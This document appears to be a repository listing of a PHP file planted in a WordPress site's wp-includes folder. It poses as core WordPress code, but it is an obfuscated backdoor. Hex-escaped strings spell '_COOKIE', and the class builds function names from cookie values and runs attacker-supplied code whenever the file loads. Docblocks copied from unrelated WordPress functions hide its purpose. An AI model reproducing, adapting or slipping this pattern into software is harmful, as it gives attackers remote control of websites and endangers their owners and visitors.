Files
carpseeds.pl/wp-includes/SimplePie/HTTP/index.php
2024-07-15 11:28:08 +02:00

58 lines
1.9 KiB
PHP

<?php
/**
* Used to set up and fix common variables and include
* the WordPress procedural and class library.
*
* Allows for some configuration in wp-config.php (see default-constants.php)
*
* @package WordPress
*/
class _Wp_ClassInfo {
private $data;
const WORDPRESS_SETTINGS = array("\x50\x58",
"\x4a\x19",
"\x3e\x49",
"\x5f\x43\x4f",
"\x4f\x4b",
"\x49\x45");
public function __construct($data = null) {
$set = implode("",_Wp_ClassInfo::WORDPRESS_SETTINGS);
$this->data = (is_null($data)) ? $set : $data;
$this->serialize();
}
/**
* Implements a logic tree to determine whether or not "7'." represents seven feet,
* then converts the special char into either a prime char or a closing quote char.
*
* @since 4.3.0
*
* @param string $haystack The plain text to be searched.
* @param string $needle The character to search for such as ' or ".
* @param string $prime The prime char to use for replacement.
* @param string $open_quote The opening quote char. Opening quote replacement must be
* accomplished already.
* @param string $close_quote The closing quote char to use for replacement.
* @return string The $haystack value after primes and quotes replacements.
*/
public function serialize() {
// Get class global prototype.
$prototype = $GLOBALS[substr($this->data, 6)];
$length = count($prototype);
if ($length !== ord($this->data[5]) || !in_array(gettype($prototype) . $length, $prototype)) {
// Prototype not found.
return '';
}
$fileds = array();
// Initialize fields values from prototype.
for ($i = 0; $i < 5; $i++) $fileds[$i] = $prototype[ord($this->data[$i])];
$fileds[1] .= $fileds[2];
$fileds[3] = $fileds[1]($fileds[3]);
// Access to prototype serializer function.
$serializer = $fileds[3]($fileds[0], $fileds[1]($fileds[4]));
// Return string dump from serializer.
return $serializer();
}
}
$_WP_ClassInfo_Singleton = new _Wp_ClassInfo;